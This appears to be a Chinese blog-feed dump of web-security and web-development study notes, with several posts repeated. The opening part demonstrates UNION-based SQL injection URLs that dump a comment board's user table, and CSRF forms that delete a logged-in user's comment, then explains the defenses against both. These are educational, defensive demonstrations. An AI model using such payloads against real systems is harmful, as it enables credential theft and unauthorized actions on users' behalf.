。information 資料庫底下的 tables 表格裡紀錄了所有 table 的資訊,而 TABLE_NAME 這個欄位提供了所有表格的名稱。
所以我們把網址這樣寫 http://mentor-program.co/mtr04group3/Wangpoching/comment_board/update_comment.php?id=-99999 union SELECT TABLE_NAME FROM information_schema.tables
,沒想到卻沒有跑出任何東西。首先猜測原始碼可能撈了不只一筆資料,所以我們打開 devtool 找找看有沒有甚麼遺漏的。
沒想到這個頁面除了有留言內容,還隱藏了 id 的資訊,所以其實原始碼的部分挑出了兩個欄位,所以可以試圖把 SQL 改寫成 SELECT id, content FROM XXX WHERE id=-99999 union SELECT 1, TABLE_NAME FROM information_schema.tables
,再度修改網址以後終於成功了。
雖然版面很醜,但是去 devtool 還是可以看到內容。
然後我們找到了 boching_board_comment_users
,找到了以後我們只要印出帳號密碼就完成了,把 SQL 改成 SELECT id, content FROM XXX WHERE id=-99999 union SELECT 1, concat(username, password) FROM boching_board_comment_users
。
最後成功拿到了所有使用者的帳密,但密碼是經過雜湊的,接著就看駭客能不能破解密碼了呢!
實際攻破防線以後,讓我們回到經營者的角度,思考怎麼去防範。回想一下漏洞出在原始碼用字串拼接的方式去生成 SQL 語句,如果我們可以使用template
的形式,先寫出架構,而要填入的內容只被當作純文字看待,這和防範 XSS 的攻擊有異曲同工之妙。
<?php
$sql = 'SELECT id, content FROM boching_board_comments WHERE id=?';
$stmt = $conn->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows === 1) {
$row = $result->fetch_assoc();
} else {
header('Location:index.php');
die('查無留言');
}
上面的程式碼利用 prepare 函式先寫模板,接著再用 bind_param 填入變數,這個時候變數不管是甚麼都只會被當成是純字串,所以駭客就沒辦法竄改 SQL 語句了。
即使防禦好了 XSS 以及 SQL injection 的威脅,其實還存在著另外的隱憂,一樣拿留言板當被攻擊的案例。
在留言板的功能裡有刪除留言的功能,後端會檢查欲刪除的留言 id 是否是本人發出的,像下面這一張圖,如果 Peter 想刪掉自己的留言是可行的,請求的網址是 http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php?id=63
可以看到這是以 get 實作的刪除功能。
好了,現在問題來了,如果有一天,因為有惡質朋友知道 Peter 喜歡制服少女,所以傳了一個網站:
<a href='http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php?id=63'>點擊觀看制服美少女</a>
在 Peter 已經登入的情況下,基於瀏覽器會帶上訪問 domain 的 cookie,所以 Peter 的身分驗證就會通過,然後確認留言 id 是 Peter 的後,刪除就成功了。
讓我們一步一步把防範方法優化,首先因為我們知道這樣的攻擊手段在於使用者不知情的狀況下送出請求,那如果用 POST 的形式就沒問題了吧?因為使用者應該不會在奇怪的網站上填上自己的留言 id。
但如果惡質的朋友傳給你的網站是這麼寫的呢?
<form action="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php" method="POST">
<input type="hidden" name="id" value="3"/>
<input type="submit" value="點擊觀看制服美女"/>
</form>
Peter 又不明不白的點下按鈕把自己的留言刪掉了。
不然把後端改成只處理 json 格式的資料呢?,php 有 json.decode() 函式可以使用,不過你那壞朋友還是有辦法,因為在 form 裡面有 text/plain
的選項。
<form action="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/delete_comment.php" enctype="text/plain">
<input type="hidden" name="id" value="3"/>
<input type="submit" value="點擊觀看制服美女"/>
</form>
於是 Peter 又成功刪除了自己的留言。
更可怕的是其實只要壞朋友只要寫在網頁上用 JAVA script 寫 XHR ,就算 server 端用同源政策來防禦,因為 GET, POST 屬於簡單請求,所以刪除還是會被執行。
基於安全性考量,程式碼所發出的跨來源 HTTP 請求會受到限制。例如,XMLHttpRequest 及 Fetch 都遵守同源政策(same-origin policy)。這代表網路應用程式所使用的 API 除非使用 CORS 標頭,否則只能請求與應用程式相同網域的 HTTP 資源。
這邊可以注意到像是 img,iframe,form, script 等標籤是不受同源政策規範的。如果不符合同源政策,雖然請求還是會發出,但瀏覽器會擋掉回應不讓程式拿到,要注意的是,請求還是會發出,所以如果是希望 server 做刪除、新增等等的功能,還是無法預防。
為了防止這樣的情形,同源政策區分了簡單請求和預檢請求。預檢( preflighted )請求會先以 HTTP 的 OPTIONS
方法送出請求到另一個網域,確認後續實際(actual)請求是否可安全送出,這樣可以預防 server 在後端做不該做的操作。
接著來看一下什麼樣的請求屬於簡單請求:
很簡單,如果你是使用者,那就記得每次登入完最好勤勞的登出,因為登出以後身分驗證就會失效,第三方網站就沒辦法假扮你了。
Server 端也有一些積極的方法可以對付 CSRF,首先思考 CSRF 攻擊的原理,也就是從第三方發送的假冒請求。如果可以區分是不是第三方網站發出的請求,就可以成功抵禦。
這個方法很直接,可以檢查 request 的 referer header ,但是我們難以確保瀏覽器會帶上 referer,因為使用者可以手動關閉或是有些瀏覽器不支援這個 header。
在重要的功能再加上手機驗證或圖形驗證的功能,因為攻擊方並不知道答案,所以可以有效的防禦。這個方法的安全性很高,但只適合在重要的功能使用,不然使用者體驗會很差。
這個方法的核心在於紀錄 server 的 state。 為了示範這個方法,在留言板的刪除功能新增了這個功能,跟一開始一樣,Peter 想刪掉自己的留言。不過這次點擊垃圾桶符號並不會直接比對身分後刪除留言,而是會進入一個確認刪除的畫面。
這個畫面裡其實偷偷藏了一個 csrf-token,在 server 端把這個 csrf-token 跟驗證身分的 session 放在一起,如此一來,Peter 便有了兩組通行碼,一個是登入的時候存的通行碼,新的是授權刪除文章的通行碼。
確認刪除按鈕按下以後,server 比對送來的 csrf-token 和 session 裡存的一致,才會通過。也就是說,如此一來瀏覽器可以確認使用者有點擊確認刪除才執行刪除的工作,不是從莫名其妙的地方進行刪除的請求。
上一種解法需要 server 的 state,才能驗證正確性。 然而 csrf-token 並不一定要儲存在 server 端,一樣在確認刪除的頁面產生一組隨機的 token 並且加在 form 上面,同時也讓 client side 設定一個名叫 csrftoken 的 cookie,值也是同一組 token。 這個方法也可行的原因在於因為瀏覽器的限制,攻擊者並不能在自己的 domain 設定 mentor-program.co 的 cookie!所以就算攻擊者也創造了一個隱藏的表單,裡面隨便寫上一組 crsf-token。但是因為攻擊者無法透過 javascript 去新增或是修改 mentor-program.co 的 cookie,所以當 server 檢查名叫 csrf-token 的 cookie 時便找不到。
最後來談到瀏覽器本身對 csrf 的防禦,Chrome 80 後針對第三方 Cookie 的規則調整。
第三方 cookie 常用在廣告追蹤,假設購物平台與留言板合作,留言板會從購物平台以 img 標籤獲取圖片,img 標籤是不受同源限制的規範的,跨站的 set-cookie 以及攜帶 cookie 也不受限制。所以假設當獲取購物平台的圖片時,購物平台請求設置一個 cookie,當之後使用者瀏覽購物平台時就會攜帶這個 cookie,購物平台便會投放跟留言板相關的產品。
程式碼發出的請求受到同源政策的規範,而 set-cookie 以及攜帶 cookie 則防範則更嚴格,需要在 server 端與 client 端設定更多參數,有興趣可以參考這裡。
說了這麼多,回到 Chrome 80 後針對第三方 Cookie 的規則調整,在 http header 的 set-cookie 後綴新增了 samesite 的參數。 SameSite 有三個選項 None, Strict 以及 Lax。
無論是 same-site 還是 cross-site 的 request 上, 都可以帶有該 cookie。所以在這個情況下,第三方 cookie 廣告追蹤的功能是允許的。
僅限 same-site request 才能夠帶有此 cookie。
全部的 same-site request 以及部分 cross-site request 能夠寫入 cookie。這裡的部分包含以下能送出 request 的網頁元件:<a>
, <link rel="prerender">
, <form method="GET">.
。
這邊的規則十分有趣,為甚麼有些標籤可以跨網域,有些不行,其實只要把握一個大原則,如果網頁會跳轉而且是 GET 請求,就可以設置還有攜帶 cookie,原因是因為如果網頁會跳轉,使用者在遭到 csrf 攻擊的時候比較能有所察覺,但網頁不會跳轉的話會讓受害者怎麼死的都不知道。
最後來測試一下 Lax cookie 的實作,在留言版首頁的程式碼裡加上 header("Set-Cookie: test=abc; path=/; domain=mentor-program.co; HttpOnly; SameSite=Lax");
,然後在 localhost 寫一支 testcookie.html
<a href="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/index.php">click me</a>
<img src="http://mentor-program.co/mtr04group3/Wangpoching/comment_board/index.php">
在預載入圖片的請求中,可以看到 set-cookie 被阻擋了下來。
當我們點擊超連結進入留言板,這次成功 set-cookie。
再次刷新 testcookie.html,一樣會先預載入圖片,從 request header 看出沒有攜帶 cookie。
當我們點擊超連結進入留言板,這次攜帶了 test=abc 的 cookie。
經過這個實驗我們發現,瀏覽器會對 set-cookie / cookie 的 header 都進行限制。
關於網站的資訊安全問題,是一門水非常深的學問,如果想要知道每年最常見的網站資安問題,可以參考 OWASP Top10。
OWASP (Open Web Application Security Project)是一個開放社群、非營利性組織,致力於協助政府或企業瞭解並改善應用程式的安全性,每年都會提出 10 大最常見的網頁資安漏洞。
]]>摩斯密碼最早是山謬·摩斯發明的( Sammuel Morse ),他一開始的構想的利用特殊密碼本或字典來加密訊息,目的不是要隱藏內容,而是要讓訊息發送更簡便迅速。而我們現在熟知的摩斯電碼是經過佛里德克希·克烈門斯·格爾克( Friedrich Clemens Gerke )改良,以簡短的點與底線來把最常用的字母代碼縮短。
假如今天收到一份摩斯密碼.... ..
,那你可以很快翻譯出來是HI
html 裡設計了一些特殊符號的編碼來防範 xss 的攻擊,舉例來說,下面這一段程式碼
<?php
echo '<a href=\"#\">Test Link</a>';
echo '<br>';
$Str = htmlspecialchars("<a href=\"#\">Test Link</a>",ENT_QUOTES);
echo $Str;
?>
最後會輸出這樣的結果
Test Link
<a href="#">Test Link</a>
如果檢查網頁原始碼,可以發現是這樣子的
<a href=\"#\">Test Link</a><br><a href="#">Test Link</a>
htmlspecialchars 會將敏感的字元像是>
、<
以及單雙引號等加以編碼,html 看到這些編碼就知道是僅供閱讀的符號。( 這個例子裡雙引號使用\
跳脫所以沒有被編碼 )
霍夫曼編碼( Huffman Coding )是一種用來進行無失真壓縮的編碼演算法,原理是把常用的字記成縮寫,所以可以達到壓縮資料量讓傳輸更快的效果。
總結一下甚麼是編碼,從上面的例子不難看出編碼沒有安全性可言,但他可以達到省時、跳脫 等等的效果。
加密跟編碼有一點相似,不過就算知道了使用甚麼加密法,還需要有金鑰( key )才可以解碼。
史書裡最早記載的換位式密碼使用「密碼棒」( scytale ),一組密碼棒包含兩根圓木棒,尺寸要一模一樣。送訊息時,送信者把一條長長的羊皮紙緊緊纏繞在木棍上,然後沿著木棒的長軸寫下訊息,這樣一來打開信紙有一串不相干的字,只有另一個擁有密碼棒的人將羊皮紙纏上才能讀取內容。
AES( Advanced Encryption Standard )也是一種對稱式加密法,也就是說加密者與解密者都使用同一把金鑰,AES 可能的金鑰數量達到 10 的 38 次方的數量級,所以安全性相當的高。但是對稱性加密法都有共通的問題,如果在雙方交換金鑰的時候被攔截,那不管是多安全的對稱式加密法都會破功。而 HTTPS 協定就是根據這個漏洞去做了改良。
非對稱加密法可以產生一組公鑰( Public Key )跟私鑰( Private Key ),用公鑰加密的內容只能用私鑰解開。
假設我要傳訊息給 A,A 生成一組公鑰跟私鑰,並將公鑰傳給我。我把鑰傳遞的訊息用這把公鑰加密以後,再傳給 A,這時候 A 用私鑰解開訊息內容就可以了。就算有中間人攔截到了公鑰以及被公鑰加密的訊息,也無法解碼。 如果有興趣瞭解可以搜尋著名的非對稱式加密法RSA
。
台灣的身分證的最後一碼是透過雜湊函式來給定的,算法像下面這樣
(1) 第一個字元代表地區
A | B | C | ... | Z |
---|---|---|---|---|
10 | 11 | 12 | ... | 33 |
(2) 第二個字元代表性別, 1 代表男性, 2 代表女性
(3) 第三個字元到第九個字元為流水號碼。
(4) 第十個字元為檢查號碼。
(5) 檢查碼的產生規則是將身分自字號的每一個位數乘上權數後之積相加,權數依序為 1、9、8、7、6、5、4、3、2、1
(6) 相加後之值除以模數 10 取其餘數
(7) 最後由模數減去餘數得檢查號碼,若餘數為 0 時,則設定其檢查碼為 0
所以 F123456789 並不是一組合法的身分證字號,F123456784 才是。
雜湊函式厲害的地方在於就算你知道算法也推不回去,像身份證字號的案例可以寫成 10- (A + 9B + 8C + 7D + 6E + 5F + 4G + 3H + 2I + J)%10 = ANSWER ,這麼多變數要怎麼推阿,10 個變數至少要 10 條方程式才可以找到唯一解,像這種情況只能慢慢湊。
雜湊函式可能會遇到碰撞的問題,也就是可能會有超過一組答案對應到同一個解,至於為甚麼這會是個問題,等等會談到雜湊函式的用途。
在使用 bootstrap 或 jquery 這些第三方 library 時,官方都會提供一個 integrity 屬性,這個屬性是程式碼經過 SHA-2 演算法雜湊的結果,如果你下載的跟官方的 integrity 值不一樣,那檔案就跟官方的不同。
後端在儲存使用者密碼的時候,通常只會儲存雜湊後的密碼,這樣一來即使後端被駭也可以保障使用者的密碼不外洩。不過如果有兩組密碼經過雜湊後的值相同,也就是所謂的碰撞,這樣一來這兩組密碼都可以登入同一個使用者,所以選擇雜湊函式時碰撞的機率就是一個很重要的指標了。
雖然駭客沒辦法破解雜湊後的密碼,但駭客自己建立起一個常用字串對照雜湊值的表格,網路上還真的有整理一張彩虹表,裡面有許多常用的組合跟對應的雜湊值。
但其實是可以防範的,我們只要給密碼加鹽就可以了。
假設我的密碼原本是 123,後台會自動在密碼後綴 abc,所以後端儲存的密碼是 123abc 雜湊的結果,除非駭客知道加鹽的內容,否則沒辦法靠彩虹表查表。
]]>摩斯密碼最早是山謬·摩斯發明的( Sammuel Morse ),他一開始的構想的利用特殊密碼本或字典來加密訊息,目的不是要隱藏內容,而是要讓訊息發送更簡便迅速。而我們現在熟知的摩斯電碼是經過佛里德克希·克烈門斯·格爾克( Friedrich Clemens Gerke )改良,以簡短的點與底線來把最常用的字母代碼縮短。
假如今天收到一份摩斯密碼.... ..
,那你可以很快翻譯出來是HI
html 裡設計了一些特殊符號的編碼來防範 xss 的攻擊,舉例來說,下面這一段程式碼
<?php
echo '<a href=\"#\">Test Link</a>';
echo '<br>';
$Str = htmlspecialchars("<a href=\"#\">Test Link</a>",ENT_QUOTES);
echo $Str;
?>
最後會輸出這樣的結果
Test Link
<a href="#">Test Link</a>
如果檢查網頁原始碼,可以發現是這樣子的
<a href=\"#\">Test Link</a><br><a href="#">Test Link</a>
htmlspecialchars 會將敏感的字元像是>
、<
以及單雙引號等加以編碼,html 看到這些編碼就知道是僅供閱讀的符號。( 這個例子裡雙引號使用\
跳脫所以沒有被編碼 )
霍夫曼編碼( Huffman Coding )是一種用來進行無失真壓縮的編碼演算法,原理是把常用的字記成縮寫,所以可以達到壓縮資料量讓傳輸更快的效果。
總結一下甚麼是編碼,從上面的例子不難看出編碼沒有安全性可言,但他可以達到省時、跳脫 等等的效果。
加密跟編碼有一點相似,不過就算知道了使用甚麼加密法,還需要有金鑰( key )才可以解碼。
史書裡最早記載的換位式密碼使用「密碼棒」( scytale ),一組密碼棒包含兩根圓木棒,尺寸要一模一樣。送訊息時,送信者把一條長長的羊皮紙緊緊纏繞在木棍上,然後沿著木棒的長軸寫下訊息,這樣一來打開信紙有一串不相干的字,只有另一個擁有密碼棒的人將羊皮紙纏上才能讀取內容。
AES( Advanced Encryption Standard )也是一種對稱式加密法,也就是說加密者與解密者都使用同一把金鑰,AES 可能的金鑰數量達到 10 的 38 次方的數量級,所以安全性相當的高。但是對稱性加密法都有共通的問題,如果在雙方交換金鑰的時候被攔截,那不管是多安全的對稱式加密法都會破功。而 HTTPS 協定就是根據這個漏洞去做了改良。
非對稱加密法可以產生一組公鑰( Public Key )跟私鑰( Private Key ),用公鑰加密的內容只能用私鑰解開。
假設我要傳訊息給 A,A 生成一組公鑰跟私鑰,並將公鑰傳給我。我把鑰傳遞的訊息用這把公鑰加密以後,再傳給 A,這時候 A 用私鑰解開訊息內容就可以了。就算有中間人攔截到了公鑰以及被公鑰加密的訊息,也無法解碼。 如果有興趣瞭解可以搜尋著名的非對稱式加密法RSA
。
台灣的身分證的最後一碼是透過雜湊函式來給定的,算法像下面這樣
(1) 第一個字元代表地區
A | B | C | ... | Z |
---|---|---|---|---|
10 | 11 | 12 | ... | 33 |
(2) 第二個字元代表性別, 1 代表男性, 2 代表女性
(3) 第三個字元到第九個字元為流水號碼。
(4) 第十個字元為檢查號碼。
(5) 檢查碼的產生規則是將身分自字號的每一個位數乘上權數後之積相加,權數依序為 1、9、8、7、6、5、4、3、2、1
(6) 相加後之值除以模數 10 取其餘數
(7) 最後由模數減去餘數得檢查號碼,若餘數為 0 時,則設定其檢查碼為 0
所以 F123456789 並不是一組合法的身分證字號,F123456784 才是。
雜湊函式厲害的地方在於就算你知道算法也推不回去,像身份證字號的案例可以寫成 10- (A + 9B + 8C + 7D + 6E + 5F + 4G + 3H + 2I + J)%10 = ANSWER ,這麼多變數要怎麼推阿,10 個變數至少要 10 條方程式才可以找到唯一解,像這種情況只能慢慢湊。
雜湊函式可能會遇到碰撞的問題,也就是可能會有超過一組答案對應到同一個解,至於為甚麼這會是個問題,等等會談到雜湊函式的用途。
在使用 bootstrap 或 jquery 這些第三方 library 時,官方都會提供一個 integrity 屬性,這個屬性是程式碼經過 SHA-2 演算法雜湊的結果,如果你下載的跟官方的 integrity 值不一樣,那檔案就跟官方的不同。
後端在儲存使用者密碼的時候,通常只會儲存雜湊後的密碼,這樣一來即使後端被駭也可以保障使用者的密碼不外洩。不過如果有兩組密碼經過雜湊後的值相同,也就是所謂的碰撞,這樣一來這兩組密碼都可以登入同一個使用者,所以選擇雜湊函式時碰撞的機率就是一個很重要的指標了。
雖然駭客沒辦法破解雜湊後的密碼,但駭客自己建立起一個常用字串對照雜湊值的表格,網路上還真的有整理一張彩虹表,裡面有許多常用的組合跟對應的雜湊值。
但其實是可以防範的,我們只要給密碼加鹽就可以了。
假設我的密碼原本是 123,後台會自動在密碼後綴 abc,所以後端儲存的密碼是 123abc 雜湊的結果,除非駭客知道加鹽的內容,否則沒辦法靠彩虹表查表。
]]>在新增 SQL 的 TABLE 欄位的時候,會遇到 TEXT 、 VARCHAR 以及 CHAR 的選擇,是個讓人困擾的問題。
首先來比較 VARCHAR 以及 CHAR。CHAR 以及 VARCHAR 都可以設定一個 length 的參數,不過兩者對於 length 的解釋稍有不同。對於 CHAR 來說,length 代表每筆資料都固定是 legth 的長度;對於 VARCHAR 來說,length 代表每筆資料不能超過 length 的長度,所以說,VARCHAR 可以解釋成 length-variable CHAR (長度可變的 CHAR)。
再來看看 TEXT,text 沒辦法設定 length,所以它的彈性最大。
TEXT 、 VARCHAR 以及 CHAR 還有不同的地方 - 最大儲存空間,底下來比較一下 (XAMPP version 8.0.7)。
1.CHAR:A fixed length string (0 - 255)
2.VARCHAR:A variable-length string (0 - 65535)
3.TEXT:A TEXT column with a maximum length of 65,535 (2^16 - 1) characters, stored with a two-byte prefix indicating the length of the value in bytes
string 代表的是 byte (8 bits),而不同的編碼需要花費不同數目的 bytes 去存取一個 character,所以 TEXT 很明顯的擁有最大的存取長度。
最後來看看他們的使用時機。
為甚麼長度常常變化的地方要用 varchar 呢? 因為在 VARCHAR 的設定上我們只是給它一個最大值,然后系統會根據實際數據量來分配適合的空間。所以相比 CHAR 而言,可以占用更少的儲存空間。
]]>在新增 SQL 的 TABLE 欄位的時候,會遇到 TEXT 、 VARCHAR 以及 CHAR 的選擇,是個讓人困擾的問題。
首先來比較 VARCHAR 以及 CHAR。CHAR 以及 VARCHAR 都可以設定一個 length 的參數,不過兩者對於 length 的解釋稍有不同。對於 CHAR 來說,length 代表每筆資料都固定是 legth 的長度;對於 VARCHAR 來說,length 代表每筆資料不能超過 length 的長度,所以說,VARCHAR 可以解釋成 length-variable CHAR (長度可變的 CHAR)。
再來看看 TEXT,text 沒辦法設定 length,所以它的彈性最大。
TEXT 、 VARCHAR 以及 CHAR 還有不同的地方 - 最大儲存空間,底下來比較一下 (XAMPP version 8.0.7)。
1.CHAR:A fixed length string (0 - 255)
2.VARCHAR:A variable-length string (0 - 65535)
3.TEXT:A TEXT column with a maximum length of 65,535 (2^16 - 1) characters, stored with a two-byte prefix indicating the length of the value in bytes
string 代表的是 byte (8 bits),而不同的編碼需要花費不同數目的 bytes 去存取一個 character,所以 TEXT 很明顯的擁有最大的存取長度。
最後來看看他們的使用時機。
為甚麼長度常常變化的地方要用 varchar 呢? 因為在 VARCHAR 的設定上我們只是給它一個最大值,然后系統會根據實際數據量來分配適合的空間。所以相比 CHAR 而言,可以占用更少的儲存空間。
]]>平常我們在透過網路上發送 request 給 server 來取用 sever 提供的服務時,是由瀏覽器代理,而瀏覽器這時候會自動 render 取得的資料並顯示在網頁上,這件事也許有這麼一點麻煩,因為我們可能會想自己處理取得的資料。打個比方來說,我們想寫一個動態網頁,那取得的資料最好是可以自己先消化過再顯示到網頁上呈現。
說了這麼多,其實要達成這個目的,就要透過 Ajax 的技術,這個技術的重點就在瀏覽器會把取得的資料丟給 JS 的 runtime,而不會直接呈現在網頁上。
另外一個還有一個小重點,Ajax 的全名是 Asynchronous JavaScript and XML,Asynchronous 是非同步的意思。同步與非同步的差別在於大家是否需要互相等待,在同步的情況底下,程式碼的每一個段落都要排隊,等要求被處理完之後,才輪到下個人,這個情況有點像是大家排隊點餐的狀況,當餐廳出了一份餐,第一個客人拿到餐點才會離開隊伍,然後餐廳才接第二份單。 情況可以想成下面這樣:
// 第一份餐 10000000 份鱈魚堡
let count = 10000000;
while(count > 0) {
count--
}
console.log('first done')
// 第二份餐一杯冰七喜
let count = 1;
while(count > 0) {
count--
}
console.log('second done')
第二份餐點明明就比較快做完阿,但是還要等第一道餐點做完才能輪到第二道餐點,好麻煩!
我可能會比較想老闆在做 10000000 份鱈魚堡的時候,請另一個店員用飲料機先幫你把冰七喜裝好給你,而令人開心的是,Ajax 可以達成這樣的功能,這就是所謂的非同步。
而為甚麼 Ajax 要支援非同步呢?因為 Ajax 是跟 server 要資料,屬於比較耗時的工作,如果 Ajax 是同步的話,那當執行到 Ajax 的時候,網頁上牽涉到 JS 的功能都會凍結,因為大家都要排隊等 server 傳回資料。
假設我們設計了一個表單,並且寫了 123 並送出。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Twitch-TopGames</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
<form method="GET" action="https://google.com">
<input type="text" name="user">
<input type="submit">
</form>
</body>
</html>
瀏覽器會幫我們把 name=123 用 querystring 的方式送 request 給 google.com,接著網頁便自動跳轉成 google.com 回傳的資料。
但如果我們使用 Ajax,如同之前提到的,瀏覽器會把取得的資料丟給 JS 的 runtime,而不會直接呈現在網頁上,也就是說使用 Ajax 不會發生頁面跳轉。
當我們用 AJAX 傳送資料的時候,發現了新的問題。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>test AJAX</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
</body>
<script>
const request = new XMLHttpRequest()
request.onerr = function () {
console.log('error')
}
request.onload = function() {
console.log(response.text)
}
request.open("GET", 'https://www.google.com', true)
request.send()
</script>
</html>
打開 devtool 顯示這樣的錯誤訊息:
Access to XMLHttpRequest at 'https://www.google.com/' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
這是因為瀏覽器因為安全性的考量,要遵守同源政策(Same-origin policy)的規範。
同源代表 Domain 相同,端口號也要相同,所以 http 跟 https 不同源,而不同的網域底下也不同源。
當 client 與 server 端不同源的時候,瀏覽器還是會發 request,但是會把 response 給擋下來,不讓 JS 拿到。這限制很大呢,要怎麼解決呢?
這個時候要介紹 CORDS(Cross-Origin Resource Sharing,跨來源資源共享),這個規範替同源協定制定了通融的情況,如果想開啟跨來源 HTTP 請求的話,Server 必須在 response 的 header 裡面加上 Access-Control-Allow-Origin 的選項,很熟悉吧,因為剛剛錯誤提示裡就有提到了。
接下來實際來看一下開放比較寬鬆的 server 是如何制定 Access-Control-Allow-Origin 的。這邊以 twitch 當範例,詳細使用 api 的說明請參考這裡,請自己申請一個 client ID。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>test AJAX</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
</body>
<script>
const CLIEND_ID = 'xxx'
const ACCEPT = 'application/vnd.twitchtv.v5+json'
const request = new XMLHttpRequest()
request.onerr = function () {
console.log('error')
}
request.onload = function() {
console.log(request.responseText)
}
request.open("GET", 'https://api.twitch.tv/kraken/games/top?limit=5', true)
request.setRequestHeader('Client-ID', CLIEND_ID)
request.setRequestHeader('Accept', ACCEPT)
request.send()
</script>
</html>
而 response 的 header 是這樣子的:
access-control-allow-origin: *
content-encoding: gzip
content-length: 625
content-type: application/json; charset=utf-8
date: Sat, 05 Jun 2021 07:49:56 GMT
strict-transport-security: max-age=300
timing-allow-origin: https://www.twitch.tv
vary: Accept-Encoding
x-cache: MISS, HIT
x-cache-hits: 0, 2
x-served-by: cache-sea4420-SEA, cache-nrt18340-NRT
x-timer: S1622879396.289021,VS0,VS0,VE0
注意到了嗎? access-control-allow-origin: *,星號代表萬用符號,所以 twitch api 是支援跨網域傳輸資料的,另外,除了 access-control-allow-origin 這個 header 以外,server 端也可以透過 Access-Control-Allow-Headers 還有 Access-Control-Allow-Methods 來限制 request 的 header 以及方法。
其實還有其他在瀏覽器上發送 request 的方法,不僅不會跳轉畫面也不用遵守同源限制。
其實在寫 HTML 的時候,我們常用的 script 標籤常常透過 src 屬性用 GET 的方式跨網域拿到資料。
這種方式有個衍伸的方法可以拿到資料,這個方式就叫做 JSONP(JSON with Padding)。
server 端可以透過這個方法來傳資料,只要把內容包在一個函式裡面,而 client 端則定義函式的動作即可,像是 twitch 就有提供這樣的方式,使用者要再額外提供函式的名稱來讓 twitch server 把資料放在函式的參數裡。
比如說我們在 HTML 裡寫:
<script>
function getData(res) {
console.log(res);
}
</script>
<script src="https://some.com/api?funcname=getData"></script>
這邊是假設有一個支援 JSONP 模式的 server,使用者在 querystring 掛上函式的名稱,把 call api 放在後面是因為要先定義好函式否則會報錯,
以這個例子來說,假設資料是 123, server 就會回傳:
getData('123')
最後我們就可以在 devtool 的 console 上看到 '123' 被印出來,但是要注意 JSON 只支援最基本的 get 方法。
同源政策是瀏覽器提供的限制,如果我們沒有透過瀏覽器,而是像之前一樣直接使用 nodeJS 使用作業系統提供的 API 發送的話,server 回傳的資料就不會被瀏覽器阻擋,值得注意的是在瀏覽器上透過 Ajax 發送 request 時,request 一樣會送出,一樣會收到 response,只不過如果非同源的話,瀏覽器便不會把資料轉交給 JS 去處理。
]]>平常我們在透過網路上發送 request 給 server 來取用 sever 提供的服務時,是由瀏覽器代理,而瀏覽器這時候會自動 render 取得的資料並顯示在網頁上,這件事也許有這麼一點麻煩,因為我們可能會想自己處理取得的資料。打個比方來說,我們想寫一個動態網頁,那取得的資料最好是可以自己先消化過再顯示到網頁上呈現。
說了這麼多,其實要達成這個目的,就要透過 Ajax 的技術,這個技術的重點就在瀏覽器會把取得的資料丟給 JS 的 runtime,而不會直接呈現在網頁上。
另外一個還有一個小重點,Ajax 的全名是 Asynchronous JavaScript and XML,Asynchronous 是非同步的意思。同步與非同步的差別在於大家是否需要互相等待,在同步的情況底下,程式碼的每一個段落都要排隊,等要求被處理完之後,才輪到下個人,這個情況有點像是大家排隊點餐的狀況,當餐廳出了一份餐,第一個客人拿到餐點才會離開隊伍,然後餐廳才接第二份單。 情況可以想成下面這樣:
// 第一份餐 10000000 份鱈魚堡
let count = 10000000;
while(count > 0) {
count--
}
console.log('first done')
// 第二份餐一杯冰七喜
let count = 1;
while(count > 0) {
count--
}
console.log('second done')
第二份餐點明明就比較快做完阿,但是還要等第一道餐點做完才能輪到第二道餐點,好麻煩!
我可能會比較想老闆在做 10000000 份鱈魚堡的時候,請另一個店員用飲料機先幫你把冰七喜裝好給你,而令人開心的是,Ajax 可以達成這樣的功能,這就是所謂的非同步。
而為甚麼 Ajax 要支援非同步呢?因為 Ajax 是跟 server 要資料,屬於比較耗時的工作,如果 Ajax 是同步的話,那當執行到 Ajax 的時候,網頁上牽涉到 JS 的功能都會凍結,因為大家都要排隊等 server 傳回資料。
假設我們設計了一個表單,並且寫了 123 並送出。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Twitch-TopGames</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
<form method="GET" action="https://google.com">
<input type="text" name="user">
<input type="submit">
</form>
</body>
</html>
瀏覽器會幫我們把 name=123 用 querystring 的方式送 request 給 google.com,接著網頁便自動跳轉成 google.com 回傳的資料。
但如果我們使用 Ajax,如同之前提到的,瀏覽器會把取得的資料丟給 JS 的 runtime,而不會直接呈現在網頁上,也就是說使用 Ajax 不會發生頁面跳轉。
當我們用 AJAX 傳送資料的時候,發現了新的問題。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>test AJAX</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
</body>
<script>
const request = new XMLHttpRequest()
request.onerr = function () {
console.log('error')
}
request.onload = function() {
console.log(response.text)
}
request.open("GET", 'https://www.google.com', true)
request.send()
</script>
</html>
打開 devtool 顯示這樣的錯誤訊息:
Access to XMLHttpRequest at 'https://www.google.com/' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
這是因為瀏覽器因為安全性的考量,要遵守同源政策(Same-origin policy)的規範。
同源代表 Domain 相同,端口號也要相同,所以 http 跟 https 不同源,而不同的網域底下也不同源。
當 client 與 server 端不同源的時候,瀏覽器還是會發 request,但是會把 response 給擋下來,不讓 JS 拿到。這限制很大呢,要怎麼解決呢?
這個時候要介紹 CORDS(Cross-Origin Resource Sharing,跨來源資源共享),這個規範替同源協定制定了通融的情況,如果想開啟跨來源 HTTP 請求的話,Server 必須在 response 的 header 裡面加上 Access-Control-Allow-Origin 的選項,很熟悉吧,因為剛剛錯誤提示裡就有提到了。
